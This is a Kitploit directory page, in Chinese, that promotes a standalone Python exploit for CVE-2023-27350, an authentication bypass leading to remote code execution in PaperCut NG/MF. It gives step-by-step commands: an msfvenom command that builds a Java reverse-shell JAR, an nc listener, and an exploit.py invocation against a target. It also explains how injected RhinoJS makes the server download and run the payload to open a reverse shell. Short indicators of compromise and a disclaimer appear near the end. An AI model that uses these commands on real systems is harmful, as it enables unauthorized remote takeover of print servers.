Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PaperCut-Authentication_Bypass_and_RCE — 此漏洞利用基于CVE-2023-27350,并建立在horizon3ai和Metasploit模块的原始漏洞利用之上。 | Kitploit
工具/GitHubGitHub/joaoaugustom/papercut-authentication_bypass_and_rce
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证学习与教育远程访问工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
joaoaugustom/papercut-authentication_bypass_and_rce

PaperCut-Authentication_Bypass_and_RCE

此漏洞利用基于CVE-2023-27350,并建立在horizon3ai和Metasploit模块的原始漏洞利用之上。

查看仓库
23个月前尚未审核

CVE-2023-27350 — PaperCut NG/MF 认证绕过与远程代码执行

针对 PaperCut NG/MF 中关键认证绕过和远程代码执行漏洞的独立 Python 利用工具。CVSS 评分 9.8。

描述

CVE-2023-27350 影响 20.1.7、21.2.11 和 22.0.9 之前的 PaperCut NG 和 MF 版本。该漏洞允许未经身份验证的攻击者访问 /app?service=page/SetupCompleted 端点——一个本应仅在初始安装期间可访问的设置页面——并在没有任何凭据的情况下获取有效的管理会话。

拥有管理员权限后,攻击者可以启用 PaperCut 的打印脚本机制,并注入由服务器 JVM 执行的任意代码,从而在服务用户上下文中实现完全远程代码执行。

受影响版本

分支修复版本
20.x20.1.7
21.x21.2.11
22.x22.0.9

18.x 及更早版本未获得官方补丁。

参考实现

此利用工具基于两个公开实现的分析开发:

1. horizon3ai/CVE-2023-27350 (Python)

  • 仓库: https://github.com/horizon3ai/CVE-2023-27350
  • 方法: 使用 Runtime.exec() 并传入纯字符串来运行命令
  • 局限性: Runtime.exec(String) 不处理 shell 元字符(>&、|、0>&1),导致反向 shell 载荷无效。脚本还硬编码了打印机 ID(l1001)并检查仅限英文的成功字符串,在非英文实例上会失败
  • 错误的引擎假设: 未考虑 PaperCut 使用 RhinoJS(而非 BeanShell),导致某些 Java 载荷出现语法错误

2. rapid7/metasploit-framework — PaperCutNG 认证绕过

  • 模块: exploit/multi/http/papercut_ng_rce
  • 方法: 通过 URLClassLoader 将 Metasploit JAR 加载到 JVM 中,避免任何 shell 依赖
  • 局限性: 需要完整的 Metasploit 框架并生成 Java/Meterpreter 载荷;不易调整为独立使用 nc

依赖

root@kitploit:~
Python 3.x
requests
msfvenom(Metasploit 框架的一部分)
nc(netcat)
root@kitploit:~
pip install requests

使用方法

1. 生成 JAR 载荷

root@kitploit:~
msfvenom -p java/shell_reverse_tcp \
  LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
  -f jar -o payload.jar

2. 启动监听器

root@kitploit:~
nc -lvnp <SHELL_PORT>

3. 运行利用工具

root@kitploit:~
python exploit.py \
  -u http://<TARGET>:9191 \
  -j payload.jar \
  -lh <YOUR_IP> \
  -lp <HTTP_PORT> \
  -rp <SHELL_PORT>

示例:

root@kitploit:~
python exploit.py \
  -u http://192.168.1.100:9191 \
  -j payload.jar \
  -lh 192.168.1.10 \
  -lp 9090 \
  -rp 4444

参数

工作原理

root@kitploit:~
1. 通过 /app?service=page/SetupCompleted 绕过认证
        ↓
2. 无需凭据获取管理员 JSESSIONID
        ↓
3. 选择 [模板打印机] (l1001)
        ↓
4. 将 RhinoJS 脚本注入打印脚本字段
        ↓
5. 脚本创建指向我们 HTTP 服务器的 URLClassLoader
        ↓
6. PaperCut JVM 下载并执行 payload.jar
        ↓
7. 反向 shell

入侵指标 (IoC)

  • 在没有先前会话的情况下访问 /app?service=page/SetupCompleted
  • 修改 print-and-device.script.enabled 和 print.script.sandboxed 设置(版本 >= 19)
  • PaperCut 服务器向外部 IP 发起出站 HTTP 连接
  • JVM 日志中出现带有外部 URL 的 URLClassLoader 实例化

法律免责声明

此利用工具仅供教育目的和授权使用(渗透测试、CTF、实验室环境)。未经明确许可对系统进行未授权使用是非法的。作者不对任何滥用行为负责。

下载工具
参数描述默认值
-u / --urlPaperCut 基础 URL必需
-j / --jarpayload.jar 的路径必需
-lh / --lhost你的 IP(目标将回连到此 IP)必需
-lp / --lport提供 JAR 的 HTTP 端口9090
-rp / --rport反向 shell 端口4444